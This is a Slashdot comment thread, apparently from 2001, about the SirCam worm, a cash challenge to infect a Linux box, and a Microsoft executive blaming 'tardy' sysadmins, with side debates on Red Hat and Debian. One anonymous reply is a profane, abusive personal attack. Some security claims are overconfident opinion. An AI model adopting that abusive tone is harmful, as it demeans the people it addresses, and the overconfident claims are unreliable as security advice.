    This is totally off topic (well not totally), but I have to tell someone, it's just to bizarre.

    This SirCam virus is a wild ride. It's hitting Outlook users and mailing out random files. I just got a copy of a letter (in email) saying I needed to register as a "Sex Offender" in Arkansas. I was shocked and horrified at this at first. Turns out a friend of mine is a lawyer for the state of Arkansas, and he had a copy of this on his hard drive. He was struck by the SirCam.

    I managed to sort out what it was because I noticed an attachment, that poking at it, it was the SirCam virus. Too bad I run linux, everyone in my outbox could have been tortured with slashdot rants ;)

  89. Virus challenge (polish order) by Anonymous Coward · · Score: 0

    New competition:
    I am willing to be rewarded with 1$ if i write an MS Virus.

  90. Competition (polish order). The return by Anonymous Coward · · Score: 0

    New improved competition. Higher standards:

    I am willing to be rewarded with 1$ if i manage to write a MS virus (blindfolded), both hands back, only with a straw, waterproof old 8088 with edlin, being chained and sunk within water.

    1. Re:Competition (polish order). The return by Anonymous Coward · · Score: 0

      Final competition:

      I offer 10.000$ to anyone (who will bet his thumbnail), if he installs/uninstalls ANY Microsoft prog to a brand new preinstalled Windows 95/98/2000/NT3.5/3/51/4 PC, 20 times in a row, and no problems happen. (this includes MS Word, SQL Server, Paint, Plus wallpapers, IE patches, DirectX, IIS, etc).
      Free bonus: i except the same bet, even with no microsoft progs like Photoshop, SAP, Illustrator ...

      No, no special terms. Microsoft programmers, shareholders and bosses and their families are free to participate, too.

  91. It is NOT offtopic by Anonymous Coward · · Score: 0

    Read the parent post before you moderate.

  92. Re:4th Amandment by Tony-A · · Score: 1

    The Constitution is NOT a suicide pact.
    Hmmm, "Give me liberty or give me death"
    And it terrorists, not "Islamic terrorists". Osama is enough over the wall that his own family has disowned him.
    We give up our (not "so called") rights, guess what? The terrorists just won. Doesn't matter who we bomb, catch, whatever.

  93. tardy?!?!?! by loraksus · · Score: 2

    Tardy is like 5 minutes, not half a fucking year. Lets be honest here, these sysadmins are not tardy, they are goddamn incompetent.

    --
    1q2w3e4r5t6y7u8i9o0pqawsedrftgthyjukilo;p'azsxdcfv gbhnjmk,l.;/
  94. Tardy admins by Mark+Bainter · · Score: 2, Insightful
    Hrm. I would just like to point out that MS created admins that are afraid to apply patches. Worse yet, they created admins who don't understand their importance and relevance. They reduced the admin to a grunting buffoon and now they want to complain that they didn't do a good enough job protecting their O/S from its own shoddy development.

    --
    "No nation could preserve its freedom in the midst of continual warfare."
    --James Madison
  95. Troll, I say, Troll by fm6 · · Score: 2
    If I were moderating this post, I'd call it a troll. Not because you're venting your spleen against Red Hat -- although you are, and at excessive length. But these offenses are not downmoddable in themselves.

    What makes this trolling is that you're not contributing anything new to the discussion. OK, you're one of many people who things that Red Hat is too buggy. This is not useful. What would be useful is a description of distros that (in your opinion) do a better job.

    Need I mention that I personally prefer Red Hat 7.1? Not perfect, but the easiest to live with for my narrow purposes. If I'm full of it, kindly educate me. Don't just scream at me.

  96. I hope nobody wins the money by gorre · · Score: 1

    I know if his system gets infected by a virus this will result in a patch and the system becoming more secure. But I hope for the sake of the reputation of an OS that prides itself in being more secure than propriety alternatives and for the sake of this guys wallet that nobody ever wins the money. It would be sad to see this stunt to prove the security of a well maintained linux box backfire. ---- Emacs is a nice OS - but it lacks a good text editor. That's why I am using Vim.

    --
    "Madness is something rare in individuals - but in groups, parties, peoples, ages it is the rule." -- Nietzsche
  97. M$ exec calling sysadmin 'tards' by Anonymous Coward · · Score: 0

    This is patently offensive. I have a cousin who is retarded and it's very demeaning to hear someone of dull normal intelligence called a 'tard'. Microsoft should apologize to the mentally challenged for using this disgusting euphemism.

  98. it's his Linux box, not any Linux box by budgenator · · Score: 2
    He's the head of a networking consulting firm and the challenge was to plant a virus in his own properly set up and patched Linux Box. He's putting up his own money, professional skills and reputation to prove his competency. I'm sure that he has a definition of what a virus is to qualify, as well as an quarenteened system to test them on.

    Most likely he considers the oppertunity to study these attempts in a controlled enviroment, more valuable than the money anyways. In a world where most warrenties say something like "Not guarenteed to be suitable for any purpose". I find this approach most refreshing. Try and find commercialy producted software that states that its suitable even for the purpose it was manufactured for.

    I hope for his sake running outlook and IE 5.5 in wine is out-of-bonds. I read a while back where the wine crew considered getting a virus to be a major mile stone achievment in compatability.

    --
    Apocalypse Cancelled, Sorry, No Ticket Refunds
    1. Re:it's his Linux box, not any Linux box by n3m6 · · Score: 2

      "I read a while back where the wine crew considered getting a virus to be a major mile stone achievment in compatability."

      yes it was considered to be a milestone to be able to run a macro virus. even though it would not propagate through to other documents.

  99. Easy money perhaps... by einhverfr · · Score: 2

    If he is running Wine, I'll just send him SirCam... But do Windows virii count?

    --

    LedgerSMB: Open source Accounting/ERP
  100. Hacked by Chinese! by sunconscious · · Score: 0

    I was there! I saw it with my own eyes :)

  101. So wrong, where do I start? by ttfkam · · Score: 3, Interesting
    Customers asked for an easy-to-use installer. Who delivered? Debian? Not even close. Debian is great for administration after it's installed, but getting it on the box in the first place has historically always been much harder than it needed to be.

    "The defects found in RedHat and Windows are really stupid."

    You haven't programmed much have you? (At all? No, patching a C file a couple of times and writing some bash scripts does not count as programming much) Most programmers know that there will be (not might be) bugs in the code. As far as stupid defects, yes they've both had their share. However RedHat is nowhere near Windows in terms of sheer volume of severe bugs. I don't know where you got your data. The last one that I saw was clearly biased (they counted general Linux bugs and RedHat-specific bugs together even though there was significant overlap).

    Also note that RedHat uses newer versions of programs than most other Linux distributions. They don't hide this fact. I applaud them for it. Why? Because if they didn't, glibc2 would not have been adopted as quickly as it was. And what about the "broken" compiler that came out with RedHat 7? People railed and hollered because they couldn't compile their kernels. Actually they could, but people conveniently forgot that RedHat posted notices in big letters that they have to use the older version of the compiler to compile (oh no! you have to use kgcc instead of gcc! how will users ever figure that out, especially if RedHat explicitly tells them that they have to). Yes there were bugs in the compiler. It was patched, but the kernel still didn't build. Why not? Because there was code in the kernel that was not compliant with the C99 standard. People's C++ code wouldn't compile anymore. Why? Because a lot of C++ code is plainly incompatible with the ISO98 standard of C++. You know that thing that Slashdotters are always railing about: STANDARDS. Or do you advocate ignoring standards when they don't suit you? Wouldn't that make you like Microsoft? These are standards that were ratified and publically announced two and three years ago. How can you say that they snuck up on you?

    What does C99 give you?

    void myfunction ( int size ) { char foo[size]; }
    Allocated on the stack so no need for malloc or free (and less corresponding bugs) and basically eliminates the hacks out there to accomplish them same like alloca.

    What does ISO98 C++ give you? The Standard Template Library. 'Nuff said.

    These are examples, but are indicative of a general trend.

    1. New library or suite that is noticeably better comes out
    2. RedHat recognizes that it is better, includes it in their distribution, tests, and releases
    3. People bitch and moan about how it breaks things that don't come with the distribution
    4. Everyone blames RedHat for doing a horrible job
    5. Because it is being used, the library in question gets a shakedown and most bugs are worked out quickly
    6. People reluctantly fix their programs to work with the updated library/suite so that they can run on RedHat
    7. In the course of fixing, people come across the advantages of the new library/suite and herald its arrival
    8. People deride the older version
    9. People forget it was RedHat that drove the newer, better library/suite into general use
    10. Goto 1 because geek memories appear to be very short
    If you want a closer-to-perfect RedHat box, install a copy from two versions ago and install all of the associated patches for it. This will be about the equivalent of a standard Debian install: very secure, but quite out of date. If you run Debian unstable or testing, while having more up-to-date software, you find that many of those "stupid defects" find their way into that distribution as well.

    --

    - I don't need to go outside, my CRT tan'll do me just fine.
  102. Who got the money? by DavidJA · · Score: 1

    I offer 10$ canadian (or 0.10$ US if you will) to anyone who can infect my box, 24.112.8.23

    ping 24.112.8.23 Pinging 24.112.8.23 with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Ping statistics for 24.112.8.23: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms

    1. Re:Who got the money? by redcliffe · · Score: 0

      Another words, he has it set up to not reply to pings. The next step would be some type of stealth port scan to find out what sort of firewall he is using.

    2. Re:Who got the money? by Anonymous Coward · · Score: 0

      Tiny Personal Firewall.

  103. If this were a test for infecting a Windows... by shatfield · · Score: 1

    If this were a test for infecting a Windows machine, the contest would already be over and the contest holder would be reinstalling his box right now...

    --
    "To make a mistake is only human; to persist in a mistake is idiotic." Cicero
  104. Re:If businesses want to make their networks secur by Skuld-Chan · · Score: 1

    When is the last time you saw a CTO who knew how to use a computer?

    I think I've made my point :).

  105. Re:4th Amandment by Anonymous Coward · · Score: 0

    Hey cunt:

    If you plan to tell the world how you think something should be pronounced, take some fucking time to learn the IPA alphabet.

    Don't just take a stab at it. You degrade the many who study phonetics with your amateur attempts. Fuck you.

    I shit on you.

  106. Default Options Anyone?? by noz · · Score: 1

    "...that the hugely successful worm attacks were due to 'tardy' sysadmins."

    Uhm, yeah, and 'stupid' MS programmers packaging programs with 'default' options enabled.

  107. Re:Virus challenge ... Imagine where crypto techno by spaic · · Score: 1

    When we see that things arn't secure it drives us to improve them.

    Is this case they arn't criminals, they are participators in a contest.

    Imagine where crypto technology would be today if it didn't excists eny crackers*.
    Imagine what computer security would be today if it didn't excist eny hackers*.

    Then we might still be using ceasar encryption and run servers on WINDOWS!? boxes ;)

    These harmless hackers/crackers drives us to improve security, wich stops REAL criminals

    *(these words have more than one meaning, is this case i mean 'people who crack codes and chipers' and 'poeple who break inte computers')

    I think i stop here.
    spaic - sweden

  108. other breaking news... by Anonymous Coward · · Score: 0

    Microsoft exec said yesterday that the hugely successful worm attacks were due to 'tardy' sysadmins.

    In other breaking news, tardy sysadmins blame Microsoft for giving them a system which promotes laziness and poor coding standards. One such sysadmin was quoted as saying, "The install wizard didn't tell me that I had do configure anything. What button do I press to get the control panel?" When asked if he preferred emacs or vi, the same sysadmin responded, "Sure, I mean who DOESN'T like Big Macs."

  109. completely redundant by KillerBob · · Score: 1

    Not only is this comment completely redundant... so too is the whole contest....

    Any user who knows what he's doing can secure a system so that it's completely immune to virii. Close all ports so hackers can't get to you, and don't do anything stupid like openning attachments.

    Even in Windows... Close all ports (easier than you might think). Use a program like Eudora, Pegasus, or Kaufman Mail Warrior that don't support scripting. Don't open any attachments. Don't download illicit software. Don't visit WAREZ sites. Don't take burns/diskettes from ANY other computer. Hey wow... you've just eliminated every way a virus can get into your system, and you're completely immune to virii. I could offer a billion dollars in Microshaft stock to the first person to infect me with a virus, and it wouldn't mean squat, because I know what I'm doing.

    --
    If you believe everything you read, you'd better not read. - Japanese proverb
  110. info: here's a simple solution. by LifesABeach · · Score: 1



    i walk over to this guy's linux box with a q-tip.

    I then wipe the q-tip on the inside of the box.

    I then place the q-tip in a growth culture disk, cover it, and wait to mother nature at her finest to bring the big bucks to me.

    so, where my 10k lbs? its polytics i tell ya, polytics...

    eat your heart out little billy g.

    i'd sure hate to be little billy g.'s dog right now...*grin*

  111. WSAARH? by Penguinoflight · · Score: 1

    Who said anything about Redhat?
    Obviously you don't know what you're talking about, If you are concerned with security, you should be using slackware, or maybe debian.

    --
    "And we have seen and do testify that the Father sent the Son to be the Savior of the World"
    1 John 4:14